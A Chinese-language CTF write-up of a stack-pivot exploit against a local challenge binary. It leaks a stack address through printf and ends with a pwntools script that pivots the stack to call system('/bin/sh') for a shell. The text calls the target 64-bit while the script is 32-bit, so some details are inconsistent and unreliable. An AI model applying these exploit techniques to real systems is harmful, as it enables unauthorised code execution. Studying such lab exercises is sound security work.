checksec指令查看,NX保护,64位
用64位IDA分析
shift+f12没有发现后门函数
进入vul函数发现有栈溢出
我们会发现溢出字节较少,考虑用栈溢出解题
这里我们说一下栈溢出的使用条件:
栈迁移一般适用于:存在栈溢出且溢出字节较少
(一般会用到leave、ret指令)
leave、ret指令:
leave可拆分为:(mov esp,ebp) 、(pop ebp)
(mov esp,ebp)意思是先将ebp赋给esp,此时esp与ebp位于同一个地址,可以把它们现在指向的那个地址,既可以当成栈顶又可以当成是栈底。(pop ebp)意思是将栈顶的内容弹入ebp(此时栈顶的内容也就是ebp的内容,也就是说现在把ebp的内容赋给了esp)。因为esp要时刻指向栈顶,既然栈顶的内容都弹走了,那么esp自然要往下挪一个内存单元。
首先我们发送0x28个垃圾数据查看栈里面的情况
由于是printf函数,它只有遇到\x00时才会截断(函数才会停止)。
因为填充的数据后面跟的就是栈,所以它会将栈地址顺带打印出来,接下来我们继续编写脚本。
经过调试,这里我们会得到一个栈地址。
此时,我们用所得到的栈地址减去输入数据的初始地址
就会得到栈地址的偏移
到这里,我们的第一次输入就算完成了,在第二次输入的时候就能去构造payload。
在这里我们发现有system函数,我们可以利用system函数的plt表。
利用read函数读入“/bin/sh” 然后getshell
脚本如下:
from pwn import*
context(os='linux',arch='i386',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
def bug():
gdb.attach(p)
pause()
p.recvuntil("Welcome, my friend. What's your name?\n")
pay=b'a'*0x27+b'b'
#bug()
p.send(pay)
p.recvuntil("b")
stack=u32(p.recv(4))-56
print(hex(stack))
p.recvuntil("\n")
leave_addr=0x80485FD
pay=(b'aaaa'+p32(elf.plt['system'])+p32(0)+p32(stack+16)+b'/bin/sh\x00').ljust(0x28,b'\x00')+p32(stack)+p32(leave_addr)
bug()
p.send(pay)
p.interactive()
到这里,我们本地调试就打通了!